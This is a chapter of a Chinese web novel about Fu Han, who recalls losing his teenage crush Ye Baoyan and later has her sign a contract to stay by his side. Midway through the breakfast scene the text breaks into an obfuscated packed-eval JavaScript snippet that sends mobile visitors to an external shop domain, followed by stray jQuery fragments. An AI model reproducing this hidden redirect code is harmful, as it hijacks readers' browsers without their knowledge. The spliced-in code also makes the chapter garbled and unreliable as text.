文趣网 > 其他小说 > 凶杀案受害者重生了 > 8. 第 8 章
    傅寒挂断电话,耳边传来一阵长长的嗡鸣,这声音很钝,不尖锐,像是他幼年摔掉的玩具火车发出来的声响一样。

    嗡鸣声带他跌入那个碎金的黄昏。

    岑曼枝穿上了那条一般只挂在衣柜的碎花旗袍,终于出现在傅寒的视野里,少年揉着眼睛,企图透过刺眼的碎金夕阳看清妈咪漂亮的样子,他先看到的却是一辆金光闪闪的玩具火车。

    “中不中意?”

    少年站起身已经比岑曼枝高了半个头,面无表情地点头。

    “中意就好,你爹地给的,好东西来的,进口货。”岑曼枝扔下皮包,扫了眼空空无也的桌子,正要骂人,先听到儿子的声音:“他当我几岁?我上中学了。”

    “砰”,玩具火车砸到地面,“嗡嗡嗡……”

    火车表面毫无损伤,只是不停的发出鸣叫,声音有气无力,像没有电那样。

    “你看不出这是旧的?这是傅家哪个少爷不要的垃圾,当我还是三岁?”

    岑曼枝愣了一下,反应过来时,傅寒已经摔门出去了,只留下一句话:“我不是收破烂的。”

    “你给我站住。”岑曼枝在他身后暴怒,“衰仔,要不是你这个拖油瓶,我怎么会这么惨,大把男人排队等着娶我。”

    “还想怎么样,我能给你去傅家拿到这点东西就不错了。”

    “今天只是个小火车,明天说不定他就松口让你回去。”

    傅寒充耳不闻,漫无目的地在街上游荡,火红的霞光流银一般倾泻而下,给初上的华灯镀了一层朦胧的暖色,盛夏的傍晚,热气从地面升腾,少年行走在昏黄的蒸笼中,鼓噪不安的心跳愈加快,他在一个十字路口停下,茫然地盯着也正在散发热量的红灯,不知道要走向哪里。

    绿灯跳过的瞬间,傅寒看见一个熟悉的身影迎面而来。

    红色短发被镀了金色犹如火焰,眼尾那颗痣也被金光照到一霎,纤细的身影在天色将暗未暗时闪着光。

    和往常一样,他调转脚步,不由自主地跟上这道光。

    傅寒鼓噪的心跳到达顶点,想起那辆岑曼枝从傅家捡回来的二手火车,他忽然冲动地快跑上去,越过红发女孩,想对她说,叶宝言,我中意你很久了,我再也不要做在暗处偷偷喜欢的那个。

    他姓傅,岑曼枝从他懂事那天就告诉他,他是傅少爷,可是他从来没进过傅家大门,只是深水埗无数蜗居在旧唐楼中的背景板。

    他不想在自己喜欢的人面前依然是个背景板。

    傅寒逆着光,看到昏黄的阳光在她小巧的鼻尖跳舞,她的眼中流光四射,红唇绽放,正在对着他笑。

    他的心被浸了蜜一般,迎上去,也是在这时,他才知道她是在对着他后面的人笑。

    “飞哥。”叶宝言像只小喜鹊一般飞过去,和他擦身而过,他的嘴角僵住,心中才灌满的蜜就被柠檬汁浸满了。

    傅寒僵在原地,不敢转头去看。

    他能听到女孩雀跃的声音。

    “飞哥,找我做什么?”

    “还能做什么,当然是约你看戏。”

    “这么好?”

    “叶宝言,你今天好靓。”

    “多谢。”

    “还有,我好中意你,做我女朋友?”

    “谁要做你女朋友,咸湿佬。”

    “不管了,我认定你了,我就中意你。”

    “油嘴滑舌……”

    这一刻比一个世纪还长,傅寒缓缓转头,天边绚烂的流光已散了大半,墨蓝正在驱赶紫红,成为天空主宰,叶宝言在这个蓝色时刻挽住了飞哥的手。

    傅寒终究还是沦为人来人往的街头的一处背景板。

    他的表白始于对那辆玩具火车的愤怒,无疾而终,到底是机会不对,如果他早一点,也许结果不一样。

    但是没有如果。

    傅寒在这些年中,无数次后悔过自己的懦弱和退却,要是再来一次,他一定会在第一次见到叶宝言时就抓住她。

    只是,他没想到会是在十年后。

    ***

    叶宝言再次进入这个房间,心中极为不踏实,主要是傅寒太反常,她有很多事想不起来,不知是不是记漏了傅寒的事?也许是这十年里,他遇到了至爱的人?

    想来想去,没有答案,她决定走一步看一步。

    洗漱完看了几眼房间门,叶宝言踌躇再三还是反锁了门。

    不知道明天会如何,先在今晚睡个好觉。

    这一晚,她没做梦,早上起来后下楼,目及之处都是白色,雪白的墙壁在晨光中泛着光,没有一丝瑕疵,地面是哑光的象牙白,温润质感,被白色包围的楼道寂静无声,她不得不让自己的拖鞋声小一点,走到黑色螺旋楼梯前往下探看,下面好像一个无底洞,事实上这只是三楼,她静等了一会,整个房子好像也没任何动静。

    “有人吗?”

    只有她的回声打过来。

    叶宝言咬了下唇,轻轻趿拉着拖鞋下楼梯,一楼巨大的落地窗将阳光全部漏进来,无数细小的尘埃在晨间的阳光下跳舞,而窗外是郁郁葱葱的绿意,她站在阳光里眯缝着眼,深呼吸了几口。

    真漂亮啊,可惜这里不是她的家。

    就算是以前傅家的老宅也没有这样漂亮。

    她敛神,从阳光中走出来,去厨房找东西吃,她可以煮一碗冷冻的云吞。

    直到厨房门前,她才看清里面有动静,而且动静很大。

    这是她拉开厨房门才听到的大动静,煤气灶上的火呼呼地,锅里滋滋冒着热气,穿了一身黑的傅寒正在往锅里放牛肉丸。

    听到动静的人微微侧身,视线在她身上一扫,很快转过去,没打招呼也没有表情,等盖上锅盖,他才转身抵在灶台上,不辨喜怒地吩咐:“去外面等着。”

    叶宝言记着自己的替身工作身份,“我能做饭,可以帮忙的。”

    “不需要。”

    他无动于衷,再次示意她出去,恰好身后的锅响了,他转身忙活。

    叶宝言看他动作熟练,似乎不需要她帮忙的样子,蹑手蹑脚地出厨房。

    傅寒听到她轻轻的脚步声,忽然转头,目送她纤细的背影走开,又在她侧身关门时,若无其事地转回视线。

    叶宝言在外面等着,无聊到只能用两只眼四处张望,她依然没改变对这个房子的第一印象,漂亮,简单,但是太大,毫无人气,透着一股森森的死人感。

    她不记得傅家有这样的地方,她嫁入傅家后,住的是傅家大宅,傅玉成还带她去过几个公寓和小别墅,不过她记住的事不多。

    她这么想着的时候,厨房门开了,傅寒端着两碗面出来。

    “你要哪一碗?”他又是让她先选。

    一碗有辣椒,一碗没有。

    叶宝言当然选有辣椒的,但考虑到傅寒才是主人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632842|206453||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,为了以后的日子好过一点,她假意谦让:“不了,我随便,你先选吧。”

    傅寒盯她两眼,选了没有辣椒的。

    叶宝言暗喜,看来他不吃辣,这样正好,她毫无心理负担地吃面,面和云吞一样好吃,牛肉丸Q弹,她很快吃完,而傅寒的胃口显然没有她好,只动了几筷子。

    “还要吗?”傅寒盯着她的空碗。

    她正想说话,打了个饱嗝,“……不用了。”

    傅寒没再问,低头吃自己的,这下倒是吃的快了,三两下解决完,收好碗,叶宝言自觉去洗碗,被他拉开。

    “这话不要让我再说第三次,家务不需要你做。”

    叶宝言叉腰,很疑惑:“什么都不要我做,我干什么?”

    “真的只让我当个活人像?”

    傅寒没说话,门铃先响了,他过去开门。

    进来的有个上了年纪的女人,还有一个西装革履的精英男士。

    “阿寒,吃早饭没有?”中年女人大圆脸,声音也柔和,看着和傅寒关系不错。

    傅寒点头,给她和叶宝言做介绍,两人都很诧异,互相看了半天。

    “宝姨,你做的云吞很好吃。”她捡了这句话说。

    “?”

    宝姨茫然,被傅寒打岔过去:“去打扫吧,除了上锁的房间,其他都可以进。”

    宝姨去忙了,傅寒才叫西装革履的下属坐下。

    那人拿出合同就走了。

    傅寒让她仔细看合同,叶宝言看见整页版密密麻麻的文字就头疼,看了两行索性放下文件,“说重点吧,我需要为你做什么。”

    “好。”傅寒将文件翻到关键那一页,双手撑在膝盖上,声音沉沉,“你的义务很很简单。”

    叶宝言不是个好学生,中学没读完就辍学,还是能识字的。

    -【第一条,待在甲方身边,保证甲方每天能见到乙方。】

    -【第二条,在甲方需要看到乙方时,乙方有立刻出现的义务。】

    -【第三条,如果有必要,甲方可以以伴侣身份向外人介绍乙方。】

    叶宝言消化了一会,“就这些?”

    “你先看完。”傅寒面无表情。

    她继续翻下一页,在乙方的权利那一项停住,“怎么是空白?”

    “如你所见,你的权利无限制。”傅寒直起身,靠坐进沙发,直直地望着她,哂笑,“你可以提任何要求,在我这里,应该没有什么要求,我不能满足。”

    叶宝言不信他的鬼话,“不行,其他要求可以不加,有些要求一定要填上。”

    “比如你不能随便进我房间。”

    “不能随意和我有……”她顿了顿,“和我有亲密行为,包括但不限于亲吻,上床等等。”

    “不能干涉我的人身自由。”

    “不能……”

    她一下没想起那么多,傅寒静静听她说,最后总结:“不需要这么麻烦,甲方不拒绝乙方任何诉求,身体以及物质上的。”

    “只要你遵守约定,不交男朋友。”

    “……”

    听着很像是不平等条约,但有利于自己,叶宝言对男朋友没有执念,经历过那种婚姻后,她甚至患上了厌男症。

    合同谈妥,她坐不住了,扫一圈大客厅,吐槽道:“你家怎么连个电视都没有,就算没电视,也该有个电话吧。”

    “好。”